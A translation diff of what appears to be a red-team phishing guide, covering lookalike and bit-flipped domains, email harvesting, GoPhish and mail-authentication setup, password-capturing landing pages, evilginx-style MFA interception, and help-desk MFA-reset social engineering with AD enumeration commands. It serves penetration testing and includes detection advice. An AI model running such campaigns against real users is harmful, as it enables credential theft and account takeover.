| 
 | ||||
| ### Bitflipping | ||||
| 
 | ||||
| 存在一种可能性:存储或传输中的某些位会由于太阳耀斑、宇宙射线或硬件错误等各种因素而**自动翻转**。 | ||||
| 存在一种可能性:存储或通信中的某些位可能会由于太阳耀斑、宇宙射线或硬件错误等各种因素而**自动翻转**。 | ||||
| 
 | ||||
| 当该概念**应用于 DNS 请求**时,被 DNS 服务器接收到的域名可能与最初请求的域名不一致。 | ||||
| 当这个概念**应用到 DNS 请求**时,可能会导致**DNS 服务器接收到的域名**与最初请求的域名不一致。 | ||||
| 
 | ||||
| 例如,对域名 "windows.com" 的单个位修改可能会将其变为 "windnws.com"。 | ||||
| 例如,域名 "windows.com" 的单个位被修改,可能变为 "windnws.com"。 | ||||
| 
 | ||||
| 攻击者可能**利用这一点注册多个发生 bit-flipping 的域名**,这些域名与受害者的域名相似,目的是将合法用户重定向到他们自己的基础设施。 | ||||
| 攻击者可能通过注册多个类似于受害者域名的 bit-flipping 域名来利用这一点。他们的目的是将合法用户重定向到自己的基础设施。 | ||||
| 
 | ||||
| 欲了解更多信息,请阅读 [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) | ||||
| 更多信息请阅读 [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) | ||||
| 
 | ||||
| ### Buy a trusted domain | ||||
| ### 购买可信域名 | ||||
| 
 | ||||
| 你可以在 [https://www.expireddomains.net/](https://www.expireddomains.net) 上搜索可用的过期域名,作为候选。\ | ||||
| 为确保你打算购买的过期域名**已有良好的 SEO**,可以查看其在以下分类中的归属: | ||||
| 你可以在 [https://www.expireddomains.net/](https://www.expireddomains.net) 上搜索可以购买的过期域名。\ | ||||
| 为了确保你要购买的过期域名**已经有良好的 SEO**,你可以在以下位置检查它的分类情况: | ||||
| 
 | ||||
| - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) | ||||
| - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) | ||||
| 
 | ||||
| ## 发现电子邮件 | ||||
| ## 发现 Emails | ||||
| 
 | ||||
| - [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free) | ||||
| - [https://phonebook.cz/](https://phonebook.cz) (100% free) | ||||
| @ -78,12 +77,12 @@ homograph-attacks.md | ||||
| - [https://hunter.io/](https://hunter.io) | ||||
| - [https://anymailfinder.com/](https://anymailfinder.com) | ||||
| 
 | ||||
| 为发现更多有效邮箱或验证已发现的邮箱,你可以尝试对受害者的 smtp 服务器进行 username brute-force(查看是否可被爆破)。[在此了解如何验证/发现电子邮件地址](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)。\ | ||||
| 此外,别忘了如果用户使用任何 web portal 来访问他们的邮件,你可以检查该门户是否存在 username brute force 的漏洞,并在可能的情况下利用该漏洞。 | ||||
| 为了**发现更多**有效的 email 地址或**验证已发现的地址**,你可以尝试对目标的 smtp servers 进行暴力枚举。 [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)。\ | ||||
| 此外,不要忘记如果用户通过**任何 web portal**访问他们的邮件,你可以检查该 portal 是否易受**username brute force**,并在可能的情况下利用该漏洞。 | ||||
| 
 | ||||
| ## 配置 GoPhish | ||||
| ## Configuring GoPhish | ||||
| 
 | ||||
| ### 安装 | ||||
| ### Installation | ||||
| 
 | ||||
| You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) | ||||
| 
 | ||||
| @ -96,7 +95,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip> | ||||
| 
 | ||||
| **TLS 证书配置** | ||||
| 
 | ||||
| 在此步骤之前,你应该 **已经购买好将要使用的 domain**,并且它必须 **指向** **IP of the VPS**,该 VPS 是你正在为其配置 **gophish** 的。 | ||||
| 在此步骤之前,你应该已经**购买好将要使用的域名**,并且该域名必须**指向**用于配置 **gophish** 的 **VPS** 的 **IP**。 | ||||
| ```bash | ||||
| DOMAIN="<domain>" | ||||
| wget https://dl.eff.org/certbot-auto | ||||
| @ -114,31 +113,31 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt | ||||
| ``` | ||||
| **邮件配置** | ||||
| 
 | ||||
| 开始安装: `apt-get install postfix` | ||||
| 开始安装:`apt-get install postfix` | ||||
| 
 | ||||
| 然后将域添加到以下文件: | ||||
| 然后将域名添加到以下文件: | ||||
| 
 | ||||
| - **/etc/postfix/virtual_domains** | ||||
| - **/etc/postfix/transport** | ||||
| - **/etc/postfix/virtual_regexp** | ||||
| 
 | ||||
| **还要在 /etc/postfix/main.cf 中更改以下变量的值** | ||||
| **还要更改 /etc/postfix/main.cf 中以下变量的值** | ||||
| 
 | ||||
| `myhostname = <domain>`\ | ||||
| `mydestination = $myhostname, <domain>, localhost.com, localhost` | ||||
| 
 | ||||
| 最后将文件 **`/etc/hostname`** 和 **`/etc/mailname`** 修改为你的域名,并 **重启你的 VPS。** | ||||
| 最后修改文件 **`/etc/hostname`** 和 **`/etc/mailname`** 为你的域名并 **重启你的 VPS。** | ||||
| 
 | ||||
| 现在为 `mail.<domain>` 创建一个指向 VPS **ip address** 的 **DNS A record**,并为 `mail.<domain>` 创建一个 **DNS MX** 记录。 | ||||
| 现在创建一个 **DNS A record** 为 `mail.<domain>`,指向 VPS 的 **ip address**,并创建一个 **DNS MX** 记录 指向 `mail.<domain>` | ||||
| 
 | ||||
| 现在测试发送电子邮件: | ||||
| 现在测试发送一封邮件: | ||||
| ```bash | ||||
| apt install mailutils | ||||
| echo "This is the body of the email" | mail -s "This is the subject line" test@email.com | ||||
| ``` | ||||
| **Gophish 配置** | ||||
| 
 | ||||
| 停止 gophish 的执行并开始配置它。\ | ||||
| 停止 gophish 的执行并开始配置。\ | ||||
| 将 `/opt/gophish/config.json` 修改为如下内容(注意使用 https): | ||||
| ```bash | ||||
| { | ||||
| @ -166,7 +165,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e | ||||
| ``` | ||||
| **配置 gophish 服务** | ||||
| 
 | ||||
| 为了创建 gophish 服务,使其可以自动启动并作为服务进行管理,你可以创建文件 `/etc/init.d/gophish`,其内容如下: | ||||
| 为了创建 gophish 服务,使其可以自动启动并作为一个服务进行管理,你可以创建文件 `/etc/init.d/gophish` 并写入以下内容: | ||||
| ```bash | ||||
| #!/bin/bash | ||||
| # /etc/init.d/gophish | ||||
| @ -213,7 +212,7 @@ case $1 in | ||||
| start|stop|status) "$1" ;; | ||||
| esac | ||||
| ``` | ||||
| 完成服务配置并检查其运行情况: | ||||
| 完成配置该服务并检查其运行情况: | ||||
| ```bash | ||||
| mkdir /var/log/gophish | ||||
| chmod +x /etc/init.d/gophish | ||||
| @ -226,58 +225,58 @@ service gophish stop | ||||
| ``` | ||||
| ## 配置邮件服务器和域名 | ||||
| 
 | ||||
| ### 等待并保持可信度 | ||||
| ### 等待并显得可信 | ||||
| 
 | ||||
| 域名存在的时间越长,被判定为垃圾邮件的概率越低。因此在进行 phishing 评估前,应该尽可能等待(至少 1 周)。此外,如果你在域名上放置与有信誉行业相关的页面,所获得的信誉会更好。 | ||||
| 域名存在时间越长,被标记为垃圾邮件的概率越低。因此在开展 phishing 评估前应尽量等待(至少 1 week)。此外,如果你在域名上放置与一个有信誉的行业相关的页面,获得的信誉会更好。 | ||||
| 
 | ||||
| 注意:即使需要等待一周,你也可以现在完成所有配置。 | ||||
| 注意,即使需要等待一周,你也可以现在完成所有配置。 | ||||
| 
 | ||||
| ### 配置反向 DNS (rDNS) 记录 | ||||
| ### Configure Reverse DNS (rDNS) record | ||||
| 
 | ||||
| 设置一个 rDNS (PTR) 记录,将 VPS 的 IP 地址反向解析到域名。 | ||||
| 设置一个 rDNS (PTR) 记录,将 VPS 的 IP 地址解析到域名。 | ||||
| 
 | ||||
| ### Sender Policy Framework (SPF) 记录 | ||||
| ### Sender Policy Framework (SPF) Record | ||||
| 
 | ||||
| 你必须 **为新域名配置 SPF record**。如果你不知道什么是 SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf)。 | ||||
| 你必须 **configure a SPF record for the new domain**。如果你不知道什么是 SPF 记录 [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf)。 | ||||
| 
 | ||||
| 你可以使用 [https://www.spfwizard.net/](https://www.spfwizard.net) 来生成你的 SPF policy(使用 VPS 机器的 IP) | ||||
| 你可以使用 https://www.spfwizard.net/ 来生成你的 SPF 策略(使用 VPS 的 IP) | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| 这是必须在域名的 TXT record 中设置的内容: | ||||
| This is the content that must be set inside a TXT record inside the domain: | ||||
| ```bash | ||||
| v=spf1 mx a ip4:ip.ip.ip.ip ?all | ||||
| ``` | ||||
| ### 基于域的邮件身份验证、报告与一致性 (DMARC) 记录 | ||||
| ### 基于域的消息认证、报告与一致性 (DMARC) 记录 | ||||
| 
 | ||||
| 你必须为新域名**配置 DMARC 记录**。如果你不知道什么是 DMARC 记录,请[**阅读此页**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc)。 | ||||
| 您必须为新域**配置 DMARC 记录**。如果您不知道什么是 DMARC 记录,[**阅读此页面**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc)。 | ||||
| 
 | ||||
| 你需要创建一个新的 DNS TXT 记录,主机名指向 `_dmarc.<domain>`,内容如下: | ||||
| 您需要创建一个新的 DNS TXT 记录,主机名指向 `_dmarc.<domain>`,内容如下: | ||||
| ```bash | ||||
| v=DMARC1; p=none | ||||
| ``` | ||||
| ### DomainKeys Identified Mail (DKIM) | ||||
| ### 域名密钥识别邮件 (DKIM) | ||||
| 
 | ||||
| 你必须为新域名**配置 DKIM**。如果你不知道什么是 DMARC 记录,[**阅读此页面**](../../network-services-pentesting/pentesting-smtp/index.html#dkim)。 | ||||
| 你必须为新域名**配置 DKIM**。如果你不知道什么是 DMARC 记录,[**阅读此页**](../../network-services-pentesting/pentesting-smtp/index.html#dkim)。 | ||||
| 
 | ||||
| 本教程基于: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > 你需要将 DKIM 密钥生成的两个 B64 值连接在一起: | ||||
| > 你需要将 DKIM 密钥生成的两个 B64 值连接起来: | ||||
| > | ||||
| > ``` | ||||
| > v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB | ||||
| > ``` | ||||
| 
 | ||||
| ### 测试你的邮件配置得分 | ||||
| ### 测试你的邮件配置评分 | ||||
| 
 | ||||
| 你可以使用 [https://www.mail-tester.com/](https://www.mail-tester.com/) 来完成。\ | ||||
| 只需访问该页面并发送一封邮件到他们提供的地址: | ||||
| 你可以使用 [https://www.mail-tester.com/](https://www.mail-tester.com) 来完成。   | ||||
| 只需访问该页面并向他们提供的地址发送一封电子邮件: | ||||
| ```bash | ||||
| echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com | ||||
| ``` | ||||
| 你也可以通过向 `check-auth@verifier.port25.com` 发送邮件来**检查你的邮件配置**,并**读取响应**(为此你需要**打开**端口 **25**,并在以 root 身份发送邮件时查看文件 _/var/mail/root_ 中的响应)。\ | ||||
| 检查你是否通过了所有测试: | ||||
| 你也可以通过发送邮件到 `check-auth@verifier.port25.com` 来**检查你的电子邮件配置**,并**读取响应**(为此你需要**打开** port **25**,如果你以 root 身份发送邮件,则在文件 _/var/mail/root_ 中查看响应)。\ | ||||
| 检查你是否通过所有测试: | ||||
| ```bash | ||||
| ========================================================== | ||||
| Summary of Results | ||||
| @ -288,39 +287,39 @@ DKIM check:         pass | ||||
| Sender-ID check:    pass | ||||
| SpamAssassin check: ham | ||||
| ``` | ||||
| 你也可以向你控制的 **Gmail** 发送消息,并在你的 Gmail 收件箱中查看 **email’s headers**,在 `Authentication-Results` header 字段中应看到 `dkim=pass`。 | ||||
| 你也可以向你控制的 **Gmail 帐户发送一封消息**,并在你的 Gmail 收件箱中检查 **电子邮件的 headers**,`dkim=pass` 应该出现在 `Authentication-Results` header 字段中。 | ||||
| ``` | ||||
| Authentication-Results: mx.google.com; | ||||
| spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; | ||||
| dkim=pass header.i=@example.com; | ||||
| ``` | ||||
| ### 从 Spamhouse 黑名单移除 | ||||
| ### 从 Spamhouse 黑名单中移除 | ||||
| 
 | ||||
| 页面 [www.mail-tester.com](https://www.mail-tester.com) 可以指示您的域名是否被 Spamhouse 阻止。您可以在 [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) 请求将您的域名/IP 移除。 | ||||
| The page [www.mail-tester.com](https://www.mail-tester.com) 可以告诉你你的域名是否被 spamhouse 阻止。你可以在以下地址请求移除你的域名/IP: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) | ||||
| 
 | ||||
| ### 从 Microsoft 黑名单移除 | ||||
| ### 从 Microsoft 黑名单中移除 | ||||
| 
 | ||||
| 您可以在 [https://sender.office.com/](https://sender.office.com) 请求将您的域名/IP 移除。 | ||||
| 你可以在 [https://sender.office.com/](https://sender.office.com) 请求移除你的域名/IP。 | ||||
| 
 | ||||
| ## 创建并启动 GoPhish 活动 | ||||
| 
 | ||||
| ### 发送配置 | ||||
| 
 | ||||
| - 为发送者配置设置一个用于识别的**名称** | ||||
| - 决定将使用哪个账户发送钓鱼邮件。建议: _noreply, support, servicedesk, salesforce..._ | ||||
| - 用户名和密码可以留空,但请务必勾选 Ignore Certificate Errors | ||||
| - 决定你将使用哪个账户发送 phishing 邮件。建议:_noreply, support, servicedesk, salesforce..._ | ||||
| - 用户名和密码可以留空,但请确保勾选 Ignore Certificate Errors | ||||
| 
 | ||||
|  (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) | ||||
|  (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > 建议使用 "**Send Test Email**" 功能来测试一切是否正常。\ | ||||
| > 我建议将**测试邮件发送到 10min mails 地址**,以避免在测试时被列入黑名单。 | ||||
| > 建议使用“**Send Test Email**”功能来测试一切是否正常。\ | ||||
| > 我建议**将测试邮件发送到 10min mails 的地址**,以避免在测试时被列入黑名单。 | ||||
| 
 | ||||
| ### 邮件模板 | ||||
| 
 | ||||
| - 为模板设置一个用于识别的**名称** | ||||
| - 然后写一个**主题**(不要奇怪的内容,只写普通邮件中会出现的内容) | ||||
| - 确保已勾选 "**Add Tracking Image**" | ||||
| - 然后填写**主题**(不要太奇怪,写一个你在普通邮件中会预期看到的内容) | ||||
| - 确保已勾选“**Add Tracking Image**” | ||||
| - 编写**邮件模板**(你可以像下面示例那样使用变量): | ||||
| ```html | ||||
| <html> | ||||
| @ -340,37 +339,37 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY | ||||
| </body> | ||||
| </html> | ||||
| ``` | ||||
| 请注意,**为了增加邮件的可信度**,建议使用来自客户邮件中的某些签名。建议: | ||||
| 请注意,**为了增加邮件的可信度**,建议使用来自目标客户邮件中的某些签名。建议: | ||||
| 
 | ||||
| - 给一个**不存在的地址**发送邮件并检查回复中是否有任何签名。 | ||||
| - 搜索像 info@ex.com、press@ex.com 或 public@ex.com 这样的**公开邮箱**,向其发送邮件并等待回复。 | ||||
| - 发送一封邮件到一个**不存在的地址**并检查回复中是否包含任何签名。 | ||||
| - 搜索诸如 info@ex.com、press@ex.com 或 public@ex.com 等**公开邮箱**,向其发送邮件并等待回复。 | ||||
| - 尝试联系一些**已发现的有效**邮箱并等待回复。 | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Email Template 还允许**附加要发送的文件**。如果你还想通过某些特制的文件/文档窃取 NTLM 挑战,请[阅读此页](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)。 | ||||
| > Email Template 还允许 **附加要发送的文件**。如果你还想通过某些特制的文件/文档窃取 NTLM challenges,请[阅读此页](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)。 | ||||
| 
 | ||||
| ### Landing Page | ||||
| 
 | ||||
| - 填写一个**名称** | ||||
| - **编写网页的 HTML 代码**。注意你可以**导入**网页。 | ||||
| - 勾选 **Capture Submitted Data** 和 **Capture Passwords** | ||||
| - **编写网页的 HTML 代码**。注意你可以 **导入** 网页。 | ||||
| - 勾选 **“Capture Submitted Data”** 和 **“Capture Passwords”** | ||||
| - 设置一个**重定向** | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > 通常你需要修改 HTML 代码并在本地进行一些测试(可能使用某些 Apache 服务器),**直到满意为止。** 然后,把该 HTML 代码写入文本框。\ | ||||
| > 注意,如果你需要为 HTML 使用一些静态资源(例如一些 CSS 和 JS 文件),可以将它们保存在 _**/opt/gophish/static/endpoint**_,然后通过 _**/static/\<filename>**_ 来访问它们。 | ||||
| > 通常你需要在本地修改 HTML 代码并进行一些测试(也许使用 Apache 服务器)**直到满意为止。** 然后,将该 HTML 代码写入文本框。\ | ||||
| > 注意,如果你需要为 HTML 使用某些静态资源(例如一些 CSS 和 JS 页面),你可以将它们保存到 _**/opt/gophish/static/endpoint**_,然后通过 _**/static/\<filename>**_ 访问它们。 | ||||
| 
 | ||||
| > [!TIP] | ||||
| > 对于重定向,你可以将用户**重定向到受害者的合法主页面**,或者例如重定向到 _/static/migration.html_,显示一个**旋转加载(**[**https://loading.io/**](https://loading.io)**)持续 5 秒,然后提示操作成功**。 | ||||
| > 对于重定向,你可以**将用户重定向到受害者的真实主站点**,或者将其重定向到 _/static/migration.html_,例如放置一个 **旋转加载(**[**https://loading.io/**](https://loading.io)**)持续 5 秒,然后提示流程已成功**。 | ||||
| 
 | ||||
| ### Users & Groups | ||||
| 
 | ||||
| - 设置一个名称 | ||||
| - **导入数据**(注意:要使用示例模板,你需要为每个用户提供 firstname、last name 和 email address) | ||||
| - **导入数据**(注意:为了使用示例模板,你需要每个用户的 firstname、last name 和 email address) | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| @ -378,18 +377,19 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY | ||||
| 
 | ||||
| 最后,创建一个 campaign,选择名称、email template、landing page、URL、sending profile 和 group。注意 URL 将是发送给受害者的链接。 | ||||
| 
 | ||||
| 注意 **Sending Profile 允许发送测试邮件以查看最终钓鱼邮件的样子**: | ||||
| 注意 **Sending Profile 允许发送测试邮件以查看最终 phishing 邮件的外观**: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > 我建议将测试邮件发送到 10min mails 地址,以避免测试时被列入黑名单。 | ||||
| > 我建议将测试邮件发送到 10min mails addresses,以避免在测试时被列入黑名单。 | ||||
| 
 | ||||
| 一切就绪后,直接启动 campaign! | ||||
| 一切就绪后,启动 campaign! | ||||
| 
 | ||||
| ## Website Cloning | ||||
| 
 | ||||
| 如果出于任何原因你想克隆网站,请查看以下页面: | ||||
| 如果出于任何原因你想要克隆网站,请查看以下页面: | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| clone-a-website.md | ||||
| @ -397,8 +397,9 @@ clone-a-website.md | ||||
| 
 | ||||
| ## Backdoored Documents & Files | ||||
| 
 | ||||
| 在一些钓鱼评估(主要是 Red Teams)中,你可能还希望**发送包含某种后门的文件**(可能是 C2,或只是某些会触发身份验证的内容)。\ | ||||
| 查看以下页面获取一些示例: | ||||
| 在一些 phishing 评估(主要是 Red Teams)中,你可能还想**发送包含某种后门的文件**(可能是 C2,或者只是触发一次认证的东西)。\ | ||||
| 请查看以下页面获取一些示例: | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| phishing-documents.md | ||||
| @ -408,52 +409,53 @@ phishing-documents.md | ||||
| 
 | ||||
| ### Via Proxy MitM | ||||
| 
 | ||||
| 前述攻击很巧妙,因为你是假冒真实网站并收集用户提交的信息。不幸的是,如果用户没有输入正确的密码,或你伪造的应用启用了 2FA,**这些信息将无法让你冒充被钓用户**。 | ||||
| 前面的攻击相当巧妙,因为你伪造了一个真实的网站并收集用户提交的信息。不幸的是,如果用户没有输入正确的密码,或者你伪造的应用配置了 2FA,**这些信息将不足以让你冒充被诱骗的用户**。 | ||||
| 
 | ||||
| 这时像 [**evilginx2**](https://github.com/kgretzky/evilginx2)**、**[**CredSniper**](https://github.com/ustayready/CredSniper) 和 [**muraena**](https://github.com/muraenateam/muraena) 这样的工具就很有用。该类工具会让你生成一个 MitM 风格的攻击。基本流程如下: | ||||
| 这时像 [**evilginx2**](https://github.com/kgretzky/evilginx2)**、**[**CredSniper**](https://github.com/ustayready/CredSniper) 和 [**muraena**](https://github.com/muraenateam/muraena) 这样的工具就很有用。该类工具可以让你生成类似 MitM 的攻击。基本流程如下: | ||||
| 
 | ||||
| 1. 你**仿冒真实网页的登录**表单。 | ||||
| 2. 用户把**凭证**发送到你的伪页面,工具会把这些凭证转发到真实网页,**检查凭证是否有效**。 | ||||
| 3. 如果账户配置了 **2FA**,MitM 页面会请求该项,一旦**用户输入**,工具会把它发送到真实网页。 | ||||
| 4. 一旦用户被认证,你(作为攻击者)将**捕获凭证、2FA、cookie 以及在工具执行 MitM 期间的所有交互信息**。 | ||||
| 1. 你**模仿真实网页的登录表单**。 | ||||
| 2. 用户将他的**凭证**发送到你的伪造页面,同时该工具会将这些凭证转发到真实网页,**检查凭证是否有效**。 | ||||
| 3. 如果账号配置了 **2FA**,MitM 页面会要求输入,一旦**用户输入**,该工具会将其发送到真实网页。 | ||||
| 4. 一旦用户认证通过,你(作为攻击者)将**捕获凭证、2FA、cookie 以及在工具进行 MitM 期间的所有交互信息**。 | ||||
| 
 | ||||
| ### Via VNC | ||||
| 
 | ||||
| 如果你不是将受害者发送到一个恶意且外观相同的页面,而是把他带到一个**通过浏览器连接到真实网页的 VNC 会话**中呢?你将能看到他所做的一切,窃取密码、MFA、cookie……\ | ||||
| 你可以使用 [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) 来实现。 | ||||
| 如果不是**把受害者引导到一个恶意页面**(外观与原始页面相同),而是将其引导到一个**通过浏览器连接到真实网页的 VNC 会话**,那会如何?你将能够看到他所做的操作,窃取密码、使用的 MFA、cookie 等。\ | ||||
| 你可以使用 [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) 来实现这一点。 | ||||
| 
 | ||||
| ## Detecting the detection | ||||
| 
 | ||||
| 显然,判断是否被发现的最好方法之一是**在黑名单中搜索你的域名**。如果出现列出,说明你的域名被检测为可疑。\ | ||||
| 一个简单的方式是使用 [https://malwareworld.com/](https://malwareworld.com) 检查你的域名是否出现在任何黑名单中。 | ||||
| 显然,判断自己是否已被识破的最佳方法之一是**在黑名单中搜索你的域名**。如果它出现在列表中,说明你的域名被检测为可疑。\ | ||||
| 一种简单的方法是使用 [https://malwareworld.com/](https://malwareworld.com) 来检查你的域名是否出现在任何黑名单中。 | ||||
| 
 | ||||
| 不过,还有其他方法可以判断受害者是否**正在主动寻找网络上的可疑 phishing 活动**,如以下内容所述: | ||||
| 
 | ||||
| 此外,还有其他方法可以判断受害者是否**主动在野外寻找可疑钓鱼活动**,如以下文档所述: | ||||
| 
 | ||||
| {{#ref}} | ||||
| detecting-phising.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| 你可以**购买一个与受害者域名非常相似的域名**,并/或为你控制的域的**子域生成证书**,其中包含受害者域名的**关键词**。如果**受害者**对这些域有任何 DNS 或 HTTP 交互,你就会知道他**正在主动搜索**可疑域名,这时你需要非常隐蔽。 | ||||
| 你可以**购买与受害者域名非常相似的域名**,和/或为你控制的某个域名的**子域生成证书**,该子域名包含受害者域名的**关键字**。如果**受害者**对这些域名执行任何形式的 **DNS 或 HTTP 交互**,你就会知道他**正在主动搜索**可疑域名,那时你需要非常隐蔽地行动。 | ||||
| 
 | ||||
| ### Evaluate the phishing | ||||
| 
 | ||||
| 使用 [**Phishious** ](https://github.com/Rices/Phishious) 来评估你的邮件是否会进入垃圾邮件文件夹、被阻断或成功送达。 | ||||
| 使用 [**Phishious**](https://github.com/Rices/Phishious) 来评估你的邮件是否会被判为垃圾邮件、被阻断或成功到达。 | ||||
| 
 | ||||
| ## High-Touch Identity Compromise (Help-Desk MFA Reset) | ||||
| 
 | ||||
| 现代入侵组织越来越多地完全跳过邮件诱饵,直接针对 service-desk / identity-recovery 工作流以击败 MFA。该攻击完全属于 "living-off-the-land":一旦操作者获得有效凭证,他们使用内置管理工具横向移动——不需要恶意软件。 | ||||
| 现代的入侵组织越来越多地完全跳过邮件诱饵,直接针对服务台/身份恢复流程以绕过 MFA。该攻击完全依靠“living-off-the-land”:一旦操作员拥有有效凭据,他们就使用内置的管理工具进行横向移动——无需恶意软件。 | ||||
| 
 | ||||
| ### Attack flow | ||||
| 1. Recon the victim | ||||
| * 从 LinkedIn、数据泄露、公开 GitHub 等处收集个人和公司信息。 | ||||
| * 确定高价值身份(高管、IT、财务),并枚举密码 / MFA 重置的**确切 help-desk 流程**。 | ||||
| * 从 LinkedIn、数据泄露、公开 GitHub 等处收集个人与公司信息。 | ||||
| * 识别高价值身份(高管、IT、财务)并枚举用于密码/MFA 重置的**确切 help-desk 流程**。 | ||||
| 2. Real-time social engineering | ||||
| * 通过电话、Teams 或聊天联系 help-desk,冒充目标(通常使用 **spoofed caller-ID** 或 **cloned voice**)。 | ||||
| * 提供先前收集的 PII 以通过基于知识的验证。 | ||||
| * 说服代理**重置 MFA secret**或对已注册的手机号执行**SIM-swap**。 | ||||
| * 使用电话、Teams 或聊天与 help-desk 联系,同时冒充目标(通常使用 **spoofed caller-ID** 或 **克隆语音**)。 | ||||
| * 提供先前收集的 PII 来通过基于知识的验证。 | ||||
| * 说服客服代理**重置 MFA secret**或对已注册的手机号执行**SIM-swap**。 | ||||
| 3. Immediate post-access actions (≤60 min in real cases) | ||||
| * 通过任何 web SSO 门户建立立足点。 | ||||
| * 使用内置工具枚举 AD / AzureAD(无需投放二进制文件): | ||||
| * 使用内置工具枚举 AD / AzureAD(不放置任何二进制文件): | ||||
| ```powershell | ||||
| # list directory groups & privileged roles | ||||
| Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME} | ||||
| @ -464,56 +466,56 @@ Get-MgDirectoryRole | ft DisplayName,Id | ||||
| # Enumerate devices the account can login to | ||||
| Get-MgUserRegisteredDevice -UserId <user@corp.local> | ||||
| ``` | ||||
| * 使用 **WMI**、**PsExec** 或环境中已被白名单的合法 **RMM** 代理进行横向移动。 | ||||
| * 使用 **WMI**、**PsExec** 或环境中已被列入白名单的合法 **RMM** 代理进行横向移动。 | ||||
| 
 | ||||
| ### Detection & Mitigation | ||||
| * 将 help-desk 身份恢复视为一种**特权操作**——要求 step-up auth 和经理批准。 | ||||
| * 部署 **Identity Threat Detection & Response (ITDR)** / **UEBA** 规则,触发以下告警: | ||||
|   * MFA 方法更改 + 来自新设备/新地理位置的身份验证。 | ||||
|   * 同一主体(用户→管理员)立即提升权限。 | ||||
| * 记录 help-desk 通话并在任何重置前强制回拨到已注册的号码。 | ||||
| * 实施 **Just-In-Time (JIT) / Privileged Access**,使新重置的账户**不会**自动继承高权限令牌。 | ||||
| * 将 help-desk 身份恢复视为**特权操作(privileged operation)**——要求 step-up auth 与经理审批。 | ||||
| * 部署 **Identity Threat Detection & Response (ITDR)** / **UEBA** 规则以触发告警,例如: | ||||
| * MFA 方法被更改 + 来自新设备/新地理位置的认证。 | ||||
| * 同一主体的即时权限提升(user → admin)。 | ||||
| * 记录 help-desk 通话,并在任何重置前强制**回拨到已注册的号码**。 | ||||
| * 实施 **Just-In-Time (JIT) / Privileged Access**,以便新重置的账户**不会**自动继承高权限令牌。 | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns | ||||
| 传统团队通过大规模攻击抵消高触达操作的成本,将**搜索引擎和广告网络变成投放渠道**。 | ||||
